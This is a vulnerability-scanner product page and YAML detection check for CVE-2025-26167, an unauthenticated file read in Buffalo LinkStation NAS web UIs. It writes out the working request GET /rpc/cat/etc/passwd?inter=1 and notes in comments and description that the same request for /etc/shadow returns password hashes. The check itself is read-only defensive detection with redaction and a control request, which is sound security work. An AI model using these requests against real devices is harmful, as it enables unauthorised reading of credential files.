Buffalo LinkStation — 1 vulnerability check
noctis ships 1 vulnerability check for Buffalo LinkStation, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Buffalo LinkStation /rpc/cat Unauthenticated Arbitrary File Read
| CVE | CVE-2025-26167 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/buffalo-linkstation/CVE-2025-26167.yaml |
Tests Buffalo LinkStation NAS devices (LS520D firmware 4.53, possibly other models sharing its web UI) for the unauthenticated arbitrary file read in the web UI's /rpc/cat endpoint. Without any login, the feed sends GET /rpc/cat/etc/passwd?inter=1: the "inter" parameter makes the endpoint read the path from the root of the file system instead of the user's shares. A root (uid 0) passwd line in the reply confirms that any file can be read. A control request for an absent random file must answer without any passwd line, so a server returning the same content for every request is not reported. Only the world-readable /etc/passwd is read, and its password field is redacted from the evidence. On a vulnerable NAS, a request for /etc/shadow would return the password hashes the same way.
How noctis detects it
- HTTP(S) request
GET /rpc/cat/etc/passwd?inter=1 - Checks
passwd_r.bodyfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /rpc/cat/etc/passwd.noctis-absent-{{oob_token}}?inter=1 - Checks
ctrl_r.bodyfor(?m)(?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+: - Checks
prooffor^(?:root|<redacted>):<redacted>:0:[0-9]+:→ finding QoD 75: Buffalo LinkStation /rpc/cat Unauthenticated Arbitrary File Read (CVE-2025-26167)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2025-26167
- https://github.com/SpikeReply/advisories/blob/0f15f5aefb959fbaff049da7cc3e36733e25b580/cve/buffalo/cve-2025-26167.md
Feed source — tests/vulnerabilities/buffalo-linkstation/CVE-2025-26167.yaml
# Buffalo LinkStation /rpc/cat arbitrary file read — CVE-2025-26167
#
# The NAS web UI of the Buffalo LinkStation LS520D (firmware 4.53) serves
# /rpc/cat/<path> from its webaxs_rpc module. The path is normally mapped onto
# the user's shares, but when the `inter` parameter is set it is joined to "/"
# and read as-is, with no login and no check (Spike Reply advisory):
# if kw.get('inter', False): fullpath = os.path.join('/', path)
# so GET /rpc/cat/etc/shadow?inter=1 returns /etc/shadow. Fixed in firmware 4.54.
#
# Detection (benign, read-only):
# 1. GET /rpc/cat/etc/passwd?inter=1 and match a uid-0 line of /etc/passwd.
# 2. Control: the same request for an absent random file (its name still
# contains "etc/passwd") must answer without any passwd line; the real
# module answers it with 404 "No such file or directory". Fail-closed: no
# control reply → no finding.
# No traversal segment is needed (the path is absolute), so http_request is
# fine. Only the world-readable /etc/passwd is read, never /etc/shadow, and the
# password field (plus a non-root account's name, gecos, home and shell) is
# redacted before it reaches the finding. QoD 75 (response analysis).
#
# Improvements over the source check:
# - absent-file control, so a server returning the same file for every
# request (tarpit / honeypot keyed on "etc/passwd") is not reported;
# - no prior product detection needed: the /rpc/cat endpoint is probed
# directly, so a LinkStation whose UI banner is hidden is still tested;
# - any uid-0 line counts, at the start of a line or right after an HTML tag.
#
# CVSS: v3.1 7.5 (CISA ADP, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
#
# Ported from OpenVAS/Greenbone NVT
# 2025/buffalo/gb_linkstation_file_read_vuln_mar25_active.nasl
# (OID 1.3.6.1.4.1.25623.1.0.154144, GPL-2.0-only).
uid: 2a800c7b-3a96-4a2b-90f5-ed7f7881c5e6
name: "Buffalo LinkStation /rpc/cat Unauthenticated Arbitrary File Read (CVE-2025-26167)"
description: |
Tests Buffalo LinkStation NAS devices (LS520D firmware 4.53, possibly other
models sharing its web UI) for the unauthenticated arbitrary file read in the web
UI's /rpc/cat endpoint. Without any login, the feed sends
GET /rpc/cat/etc/passwd?inter=1: the "inter" parameter makes the endpoint
read the path from the root of the file system instead of the user's shares.
A root (uid 0) passwd line in the reply confirms that any file can be read.
A control request for an absent random file must answer without any passwd
line, so a server returning the same content for every request is not
reported. Only the world-readable /etc/passwd is read, and its password
field is redacted from the evidence. On a vulnerable NAS, a request for
/etc/shadow would return the password hashes the same way.
cves: [CVE-2025-26167]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [buffalo, linkstation, nas, file-read, unauthenticated, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-26167"
- "https://github.com/SpikeReply/advisories/blob/0f15f5aefb959fbaff049da7cc3e36733e25b580/cve/buffalo/cve-2025-26167.md"
# OpenVAS/Greenbone NASL 2025/buffalo/gb_linkstation_file_read_vuln_mar25_active.nasl (GPL-2.0-only)
steps:
# ── Pre-initialise every value read later (undefined vars abort/skip) ────
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
- id: init-proof
action: set_var
var_name: proof
var_value: ""
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Read /etc/passwd through /rpc/cat with inter=1 ───────────────────────
- id: read-passwd
action: http_request
method: GET
path: "/rpc/cat/etc/passwd?inter=1"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: passwd_r
# No on_match: the raw body must not become evidence.
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 2 {
if passwd_m.captures[0] == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
store_as: proof
# ── Control: same request, absent random file — must NOT carry a passwd
# line. The absent name still contains "etc/passwd", so a honeypot that
# keys a fake file on that substring answers it too.
- id: control
action: http_request
method: GET
path: "/rpc/cat/etc/passwd.noctis-absent-{{oob_token}}?inter=1"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'proof != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?m)(?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:"
condition: 'proof != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Finding (control answered and stayed clean) ──────────────────────────
- id: report-passwd
action: match
source: proof
pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "Buffalo LinkStation /rpc/cat Unauthenticated Arbitrary File Read (CVE-2025-26167)"
description: "An unauthenticated GET to /rpc/cat/etc/passwd?inter=1 on the NAS web UI returned the content of /etc/passwd, while the same request for an absent file did not. Any file on the NAS can be read this way, including /etc/shadow and the files holding the web UI password hashes."
remediation: "Update the LinkStation firmware to version 4.54 or later, change the NAS passwords, and keep the web UI off untrusted networks."
confidence_delta: 0.55
qod: 75
evidence: "GET /rpc/cat/etc/passwd?inter=1 returned /etc/passwd; control for an absent file returned no passwd line ({{proof}})"
stop: true